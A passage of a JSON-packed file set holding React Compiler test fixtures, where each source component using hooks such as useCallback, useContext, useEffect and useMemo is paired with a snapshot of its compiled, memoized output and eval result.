    "content": "// @enablePreserveExistingMemoizationGuarantees\nimport {useCallback, useRef} from 'react';\n\nfunction Component(props) {\n  const ref = useRef(null);\n\n  const onChange = useCallback(event => {\n    // The ref should still be mutable here even though function deps are frozen in\n    // @enablePreserveExistingMemoizationGuarantees mode\n    ref.current = event.target.value;\n  });\n\n  return <input onChange={onChange} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useCallback-set-ref-value-preserve-memoization.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enablePreserveExistingMemoizationGuarantees\nimport {useCallback, useRef} from 'react';\n\nfunction Component(props) {\n  const ref = useRef(null);\n\n  const onChange = useCallback(event => {\n    // The ref should still be mutable here even though function deps are frozen in\n    // @enablePreserveExistingMemoizationGuarantees mode\n    ref.current = event.target.value;\n  });\n\n  return <input onChange={onChange} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @enablePreserveExistingMemoizationGuarantees\nimport { useCallback, useRef } from \"react\";\n\nfunction Component(props) {\n  const $ = _c(2);\n  const ref = useRef(null);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = (event) => {\n      ref.current = event.target.value;\n    };\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  const onChange = t0;\n  let t1;\n  if ($[1] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t1 = <input onChange={onChange} />;\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  return t1;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n\n```\n      \n### Eval output\n(kind: ok) <input>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useCallback-set-ref-value-preserve-memoization.js",
    "content": "// @enablePreserveExistingMemoizationGuarantees\nimport {useCallback, useRef} from 'react';\n\nfunction Component(props) {\n  const ref = useRef(null);\n\n  const onChange = useCallback(event => {\n    // The ref should still be mutable here even though function deps are frozen in\n    // @enablePreserveExistingMemoizationGuarantees mode\n    ref.current = event.target.value;\n  });\n\n  return <input onChange={onChange} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useContext-maybe-mutate-context-in-callback.expect.md",
    "content": "\n## Input\n\n```javascript\nimport * as React from 'react';\nimport {useContext} from 'react';\nimport {mutate} from 'shared-runtime';\n\nconst FooContext = React.createContext({current: null});\n\nfunction Component(props) {\n  const Foo = useContext(FooContext);\n  // This callback can be memoized because we aren't 100% positive that\n  // `mutate()` actually mutates, so we optimistically assume it doesn't\n  // Its range doesn't get entagled w the useContext call so we're able\n  // to create a reactive scope and memoize it.\n  const onClick = () => {\n    mutate(Foo.current);\n  };\n  return <div onClick={onClick}>{props.children}</div>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{children: <div>Hello</div>}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport * as React from \"react\";\nimport { useContext } from \"react\";\nimport { mutate } from \"shared-runtime\";\n\nconst FooContext = React.createContext({ current: null });\n\nfunction Component(props) {\n  const $ = _c(5);\n  const Foo = useContext(FooContext);\n  let t0;\n  if ($[0] !== Foo.current) {\n    t0 = () => {\n      mutate(Foo.current);\n    };\n    $[0] = Foo.current;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  const onClick = t0;\n  let t1;\n  if ($[2] !== onClick || $[3] !== props.children) {\n    t1 = <div onClick={onClick}>{props.children}</div>;\n    $[2] = onClick;\n    $[3] = props.children;\n    $[4] = t1;\n  } else {\n    t1 = $[4];\n  }\n  return t1;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ children: <div>Hello</div> }],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div><div>Hello</div></div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useContext-maybe-mutate-context-in-callback.js",
    "content": "import * as React from 'react';\nimport {useContext} from 'react';\nimport {mutate} from 'shared-runtime';\n\nconst FooContext = React.createContext({current: null});\n\nfunction Component(props) {\n  const Foo = useContext(FooContext);\n  // This callback can be memoized because we aren't 100% positive that\n  // `mutate()` actually mutates, so we optimistically assume it doesn't\n  // Its range doesn't get entagled w the useContext call so we're able\n  // to create a reactive scope and memoize it.\n  const onClick = () => {\n    mutate(Foo.current);\n  };\n  return <div onClick={onClick}>{props.children}</div>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{children: <div>Hello</div>}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useContext-read-context-in-callback-if-condition.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {createContext, useContext} from 'react';\nimport {Stringify} from 'shared-runtime';\n\nconst FooContext = createContext({current: true});\n\nfunction Component(props) {\n  const foo = useContext(FooContext);\n\n  const getValue = () => {\n    if (foo.current) {\n      return {};\n    } else {\n      return null;\n    }\n  };\n  const value = getValue();\n\n  return <Stringify value={value} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { createContext, useContext } from \"react\";\nimport { Stringify } from \"shared-runtime\";\n\nconst FooContext = createContext({ current: true });\n\nfunction Component(props) {\n  const $ = _c(4);\n  const foo = useContext(FooContext);\n  let t0;\n  if ($[0] !== foo.current) {\n    const getValue = () => {\n      if (foo.current) {\n        return {};\n      } else {\n        return null;\n      }\n    };\n    t0 = getValue();\n    $[0] = foo.current;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  const value = t0;\n  let t1;\n  if ($[2] !== value) {\n    t1 = <Stringify value={value} />;\n    $[2] = value;\n    $[3] = t1;\n  } else {\n    t1 = $[3];\n  }\n  return t1;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>{\"value\":{}}</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useContext-read-context-in-callback-if-condition.js",
    "content": "import {createContext, useContext} from 'react';\nimport {Stringify} from 'shared-runtime';\n\nconst FooContext = createContext({current: true});\n\nfunction Component(props) {\n  const foo = useContext(FooContext);\n\n  const getValue = () => {\n    if (foo.current) {\n      return {};\n    } else {\n      return null;\n    }\n  };\n  const value = getValue();\n\n  return <Stringify value={value} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useContext-read-context-in-callback.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {createContext, useContext} from 'react';\n\nconst FooContext = createContext({current: null});\n\nfunction Component(props) {\n  const foo = useContext(FooContext);\n  // This function should be memoized since it is only reading the context value\n  const onClick = () => {\n    console.log(foo.current);\n  };\n  return <div onClick={onClick}>{props.children}</div>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{children: <div>Hello</div>}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { createContext, useContext } from \"react\";\n\nconst FooContext = createContext({ current: null });\n\nfunction Component(props) {\n  const $ = _c(5);\n  const foo = useContext(FooContext);\n  let t0;\n  if ($[0] !== foo.current) {\n    t0 = () => {\n      console.log(foo.current);\n    };\n    $[0] = foo.current;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  const onClick = t0;\n  let t1;\n  if ($[2] !== onClick || $[3] !== props.children) {\n    t1 = <div onClick={onClick}>{props.children}</div>;\n    $[2] = onClick;\n    $[3] = props.children;\n    $[4] = t1;\n  } else {\n    t1 = $[4];\n  }\n  return t1;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ children: <div>Hello</div> }],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div><div>Hello</div></div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useContext-read-context-in-callback.js",
    "content": "import {createContext, useContext} from 'react';\n\nconst FooContext = createContext({current: null});\n\nfunction Component(props) {\n  const foo = useContext(FooContext);\n  // This function should be memoized since it is only reading the context value\n  const onClick = () => {\n    console.log(foo.current);\n  };\n  return <div onClick={onClick}>{props.children}</div>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{children: <div>Hello</div>}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useEffect-arg-memoized.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  const dispatch = useDispatch();\n  useFreeze(dispatch);\n\n  // onUpdate should be memoized even though it doesn't\n  // flow into the return value\n  const onUpdate = () => {\n    dispatch({kind: 'update'});\n  };\n\n  useEffect(() => {\n    onUpdate();\n  }, [onUpdate]);\n\n  return <div />;\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component(props) {\n  const $ = _c(6);\n  const dispatch = useDispatch();\n  useFreeze(dispatch);\n  let t0;\n  if ($[0] !== dispatch) {\n    t0 = () => {\n      dispatch({ kind: \"update\" });\n    };\n    $[0] = dispatch;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  const onUpdate = t0;\n  let t1;\n  let t2;\n  if ($[2] !== onUpdate) {\n    t1 = () => {\n      onUpdate();\n    };\n    t2 = [onUpdate];\n    $[2] = onUpdate;\n    $[3] = t1;\n    $[4] = t2;\n  } else {\n    t1 = $[3];\n    t2 = $[4];\n  }\n  useEffect(t1, t2);\n  let t3;\n  if ($[5] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t3 = <div />;\n    $[5] = t3;\n  } else {\n    t3 = $[5];\n  }\n  return t3;\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useEffect-arg-memoized.js",
    "content": "function Component(props) {\n  const dispatch = useDispatch();\n  useFreeze(dispatch);\n\n  // onUpdate should be memoized even though it doesn't\n  // flow into the return value\n  const onUpdate = () => {\n    dispatch({kind: 'update'});\n  };\n\n  useEffect(() => {\n    onUpdate();\n  }, [onUpdate]);\n\n  return <div />;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useEffect-external-mutate.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {useEffect} from 'react';\n\nlet x = {a: 42};\n\nfunction Component(props) {\n  useEffect(() => {\n    x.a = 10;\n  });\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n};\n\n```\n\n## Code\n\n```javascript\nimport { useEffect } from \"react\";\n\nlet x = { a: 42 };\n\nfunction Component(props) {\n  useEffect(_temp);\n}\nfunction _temp() {\n  x.a = 10;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n};\n\n```\n      \n### Eval output\n(kind: ok) "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useEffect-external-mutate.js",
    "content": "import {useEffect} from 'react';\n\nlet x = {a: 42};\n\nfunction Component(props) {\n  useEffect(() => {\n    x.a = 10;\n  });\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useEffect-global-pruned.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {useEffect} from 'react';\n\nfunction someGlobal() {}\nfunction useFoo() {\n  const fn = React.useMemo(\n    () =>\n      function () {\n        someGlobal();\n      },\n    []\n  );\n  useEffect(() => {\n    fn();\n  }, [fn]);\n\n  return null;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [],\n  isComponent: false,\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { useEffect } from \"react\";\n\nfunction someGlobal() {}\nfunction useFoo() {\n  const $ = _c(2);\n  const fn = _temp;\n  let t0;\n  let t1;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = () => {\n      fn();\n    };\n    t1 = [fn];\n    $[0] = t0;\n    $[1] = t1;\n  } else {\n    t0 = $[0];\n    t1 = $[1];\n  }\n  useEffect(t0, t1);\n\n  return null;\n}\nfunction _temp() {\n  someGlobal();\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [],\n  isComponent: false,\n};\n\n```\n      \n### Eval output\n(kind: ok) null"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useEffect-global-pruned.js",
    "content": "import {useEffect} from 'react';\n\nfunction someGlobal() {}\nfunction useFoo() {\n  const fn = React.useMemo(\n    () =>\n      function () {\n        someGlobal();\n      },\n    []\n  );\n  useEffect(() => {\n    fn();\n  }, [fn]);\n\n  return null;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [],\n  isComponent: false,\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useEffect-method-call.expect.md",
    "content": "\n## Input\n\n```javascript\nlet x = {};\nfunction Component() {\n  React.useEffect(() => {\n    x.foo = 1;\n  });\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n};\n\n```\n\n## Code\n\n```javascript\nlet x = {};\nfunction Component() {\n  React.useEffect(_temp);\n}\nfunction _temp() {\n  x.foo = 1;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n};\n\n```\n      \n### Eval output\n(kind: ok) "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useEffect-method-call.js",
    "content": "let x = {};\nfunction Component() {\n  React.useEffect(() => {\n    x.foo = 1;\n  });\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useEffect-namespace-pruned.expect.md",
    "content": "\n## Input\n\n```javascript\nimport * as React from 'react';\n\nfunction someGlobal() {}\nfunction useFoo() {\n  const fn = React.useMemo(\n    () =>\n      function () {\n        someGlobal();\n      },\n    []\n  );\n  React.useEffect(() => {\n    fn();\n  }, [fn]);\n\n  return null;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [],\n  isComponent: false,\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport * as React from \"react\";\n\nfunction someGlobal() {}\nfunction useFoo() {\n  const $ = _c(2);\n  const fn = _temp;\n  let t0;\n  let t1;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = () => {\n      fn();\n    };\n    t1 = [fn];\n    $[0] = t0;\n    $[1] = t1;\n  } else {\n    t0 = $[0];\n    t1 = $[1];\n  }\n  React.useEffect(t0, t1);\n\n  return null;\n}\nfunction _temp() {\n  someGlobal();\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [],\n  isComponent: false,\n};\n\n```\n      \n### Eval output\n(kind: ok) null"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useEffect-namespace-pruned.js",
    "content": "import * as React from 'react';\n\nfunction someGlobal() {}\nfunction useFoo() {\n  const fn = React.useMemo(\n    () =>\n      function () {\n        someGlobal();\n      },\n    []\n  );\n  React.useEffect(() => {\n    fn();\n  }, [fn]);\n\n  return null;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [],\n  isComponent: false,\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useEffect-nested-lambdas.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enableTransitivelyFreezeFunctionExpressions:false\n\nfunction Component(props) {\n  const item = useMutable(props.itemId);\n  const dispatch = useDispatch();\n  useFreeze(dispatch);\n\n  const exit = useCallback(() => {\n    dispatch(createExitAction());\n  }, [dispatch]);\n\n  useEffect(() => {\n    const cleanup = GlobalEventEmitter.addListener('onInput', () => {\n      if (item.value) {\n        exit();\n      }\n    });\n    return () => cleanup.remove();\n  }, [exit, item]);\n\n  maybeMutate(item);\n\n  return <div />;\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @enableTransitivelyFreezeFunctionExpressions:false\n\nfunction Component(props) {\n  const $ = _c(7);\n  const item = useMutable(props.itemId);\n  const dispatch = useDispatch();\n  useFreeze(dispatch);\n  let t0;\n  if ($[0] !== dispatch) {\n    t0 = () => {\n      dispatch(createExitAction());\n    };\n    $[0] = dispatch;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  const exit = t0;\n  let t1;\n  let t2;\n  if ($[2] !== exit || $[3] !== item) {\n    t1 = () => {\n      const cleanup = GlobalEventEmitter.addListener(\"onInput\", () => {\n        if (item.value) {\n          exit();\n        }\n      });\n      return () => cleanup.remove();\n    };\n    t2 = [exit, item];\n    $[2] = exit;\n    $[3] = item;\n    $[4] = t1;\n    $[5] = t2;\n  } else {\n    t1 = $[4];\n    t2 = $[5];\n  }\n  useEffect(t1, t2);\n\n  maybeMutate(item);\n  let t3;\n  if ($[6] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t3 = <div />;\n    $[6] = t3;\n  } else {\n    t3 = $[6];\n  }\n  return t3;\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useEffect-nested-lambdas.js",
    "content": "// @enableTransitivelyFreezeFunctionExpressions:false\n\nfunction Component(props) {\n  const item = useMutable(props.itemId);\n  const dispatch = useDispatch();\n  useFreeze(dispatch);\n\n  const exit = useCallback(() => {\n    dispatch(createExitAction());\n  }, [dispatch]);\n\n  useEffect(() => {\n    const cleanup = GlobalEventEmitter.addListener('onInput', () => {\n      if (item.value) {\n        exit();\n      }\n    });\n    return () => cleanup.remove();\n  }, [exit, item]);\n\n  maybeMutate(item);\n\n  return <div />;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useEffect-snap-test.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {useEffect, useState} from 'react';\n\nfunction Component() {\n  const [state, setState] = useState('hello');\n  useEffect(() => {\n    setState('goodbye');\n  }, []);\n\n  return <div>{state}</div>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { useEffect, useState } from \"react\";\n\nfunction Component() {\n  const $ = _c(4);\n  const [state, setState] = useState(\"hello\");\n  let t0;\n  let t1;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = () => {\n      setState(\"goodbye\");\n    };\n    t1 = [];\n    $[0] = t0;\n    $[1] = t1;\n  } else {\n    t0 = $[0];\n    t1 = $[1];\n  }\n  useEffect(t0, t1);\n  let t2;\n  if ($[2] !== state) {\n    t2 = <div>{state}</div>;\n    $[2] = state;\n    $[3] = t2;\n  } else {\n    t2 = $[3];\n  }\n  return t2;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>goodbye</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useEffect-snap-test.js",
    "content": "import {useEffect, useState} from 'react';\n\nfunction Component() {\n  const [state, setState] = useState('hello');\n  useEffect(() => {\n    setState('goodbye');\n  }, []);\n\n  return <div>{state}</div>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useImperativeHandle-ref-mutate.expect.md",
    "content": "\n## Input\n\n```javascript\n// @flow\n\nimport {useImperativeHandle, useRef} from 'react';\n\ncomponent Component(prop: number) {\n  const ref1 = useRef(null);\n  const ref2 = useRef(1);\n  useImperativeHandle(ref1, () => {\n    const precomputed = prop + ref2.current;\n    return {\n      foo: () => prop + ref2.current + precomputed,\n    };\n  }, [prop]);\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{prop: 1}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\n\nimport { useImperativeHandle, useRef } from \"react\";\n\nfunction Component(t0) {\n  const $ = _c(3);\n  const { prop } = t0;\n  const ref1 = useRef(null);\n  const ref2 = useRef(1);\n  let t1;\n  let t2;\n  if ($[0] !== prop) {\n    t1 = () => {\n      const precomputed = prop + ref2.current;\n      return { foo: () => prop + ref2.current + precomputed };\n    };\n    t2 = [prop];\n    $[0] = prop;\n    $[1] = t1;\n    $[2] = t2;\n  } else {\n    t1 = $[1];\n    t2 = $[2];\n  }\n  useImperativeHandle(ref1, t1, t2);\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ prop: 1 }],\n};\n\n```\n      \n### Eval output\n(kind: ok) "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useImperativeHandle-ref-mutate.js",
    "content": "// @flow\n\nimport {useImperativeHandle, useRef} from 'react';\n\ncomponent Component(prop: number) {\n  const ref1 = useRef(null);\n  const ref2 = useRef(1);\n  useImperativeHandle(ref1, () => {\n    const precomputed = prop + ref2.current;\n    return {\n      foo: () => prop + ref2.current + precomputed,\n    };\n  }, [prop]);\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{prop: 1}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-arrow-implicit-return.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validateNoVoidUseMemo\nfunction Component() {\n  const value = useMemo(() => computeValue(), []);\n  return <div>{value}</div>;\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @validateNoVoidUseMemo\nfunction Component() {\n  const $ = _c(2);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = computeValue();\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  const value = t0;\n  let t1;\n  if ($[1] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t1 = <div>{value}</div>;\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  return t1;\n}\n\n```\n      \n### Eval output\n(kind: exception) Fixture not implemented"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-arrow-implicit-return.js",
    "content": "// @validateNoVoidUseMemo\nfunction Component() {\n  const value = useMemo(() => computeValue(), []);\n  return <div>{value}</div>;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-empty-return.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validateNoVoidUseMemo\nfunction Component() {\n  const value = useMemo(() => {\n    return;\n  }, []);\n  return <div>{value}</div>;\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @validateNoVoidUseMemo\nfunction Component() {\n  const $ = _c(1);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = <div>{undefined}</div>;\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  return t0;\n}\n\n```\n      \n### Eval output\n(kind: exception) Fixture not implemented"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-empty-return.js",
    "content": "// @validateNoVoidUseMemo\nfunction Component() {\n  const value = useMemo(() => {\n    return;\n  }, []);\n  return <div>{value}</div>;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-explicit-null-return.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validateNoVoidUseMemo\nfunction Component() {\n  const value = useMemo(() => {\n    return null;\n  }, []);\n  return <div>{value}</div>;\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @validateNoVoidUseMemo\nfunction Component() {\n  const $ = _c(1);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = <div>{null}</div>;\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  return t0;\n}\n\n```\n      \n### Eval output\n(kind: exception) Fixture not implemented"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-explicit-null-return.js",
    "content": "// @validateNoVoidUseMemo\nfunction Component() {\n  const value = useMemo(() => {\n    return null;\n  }, []);\n  return <div>{value}</div>;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-if-else-multiple-return.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validateExhaustiveMemoizationDependencies:false\nfunction Component(props) {\n  const x = useMemo(() => {\n    if (props.cond) {\n      return makeObject(props.a);\n    }\n    return makeObject(props.b);\n  });\n  return x;\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @validateExhaustiveMemoizationDependencies:false\nfunction Component(props) {\n  const $ = _c(4);\n  let t0;\n  bb0: {\n    if (props.cond) {\n      let t1;\n      if ($[0] !== props.a) {\n        t1 = makeObject(props.a);\n        $[0] = props.a;\n        $[1] = t1;\n      } else {\n        t1 = $[1];\n      }\n      t0 = t1;\n      break bb0;\n    }\n    let t1;\n    if ($[2] !== props.b) {\n      t1 = makeObject(props.b);\n      $[2] = props.b;\n      $[3] = t1;\n    } else {\n      t1 = $[3];\n    }\n    t0 = t1;\n  }\n  const x = t0;\n\n  return x;\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-if-else-multiple-return.js",
    "content": "// @validateExhaustiveMemoizationDependencies:false\nfunction Component(props) {\n  const x = useMemo(() => {\n    if (props.cond) {\n      return makeObject(props.a);\n    }\n    return makeObject(props.b);\n  });\n  return x;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-independently-memoizeable.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validateExhaustiveMemoizationDependencies:false\nfunction Component(props) {\n  const [a, b] = useMemo(() => {\n    const items = [];\n    const a = makeObject(props.a);\n    const b = makeObject(props.b);\n    return [a, b];\n  });\n  return [a, b];\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @validateExhaustiveMemoizationDependencies:false\nfunction Component(props) {\n  const $ = _c(10);\n  let t0;\n  if ($[0] !== props.a) {\n    t0 = makeObject(props.a);\n    $[0] = props.a;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  const a = t0;\n  let t1;\n  if ($[2] !== props.b) {\n    t1 = makeObject(props.b);\n    $[2] = props.b;\n    $[3] = t1;\n  } else {\n    t1 = $[3];\n  }\n  const b = t1;\n  let t2;\n  if ($[4] !== a || $[5] !== b) {\n    t2 = [a, b];\n    $[4] = a;\n    $[5] = b;\n    $[6] = t2;\n  } else {\n    t2 = $[6];\n  }\n  const [a_0, b_0] = t2;\n  let t3;\n  if ($[7] !== a_0 || $[8] !== b_0) {\n    t3 = [a_0, b_0];\n    $[7] = a_0;\n    $[8] = b_0;\n    $[9] = t3;\n  } else {\n    t3 = $[9];\n  }\n  return t3;\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-independently-memoizeable.js",
    "content": "// @validateExhaustiveMemoizationDependencies:false\nfunction Component(props) {\n  const [a, b] = useMemo(() => {\n    const items = [];\n    const a = makeObject(props.a);\n    const b = makeObject(props.b);\n    return [a, b];\n  });\n  return [a, b];\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-inlining-block-return.expect.md",
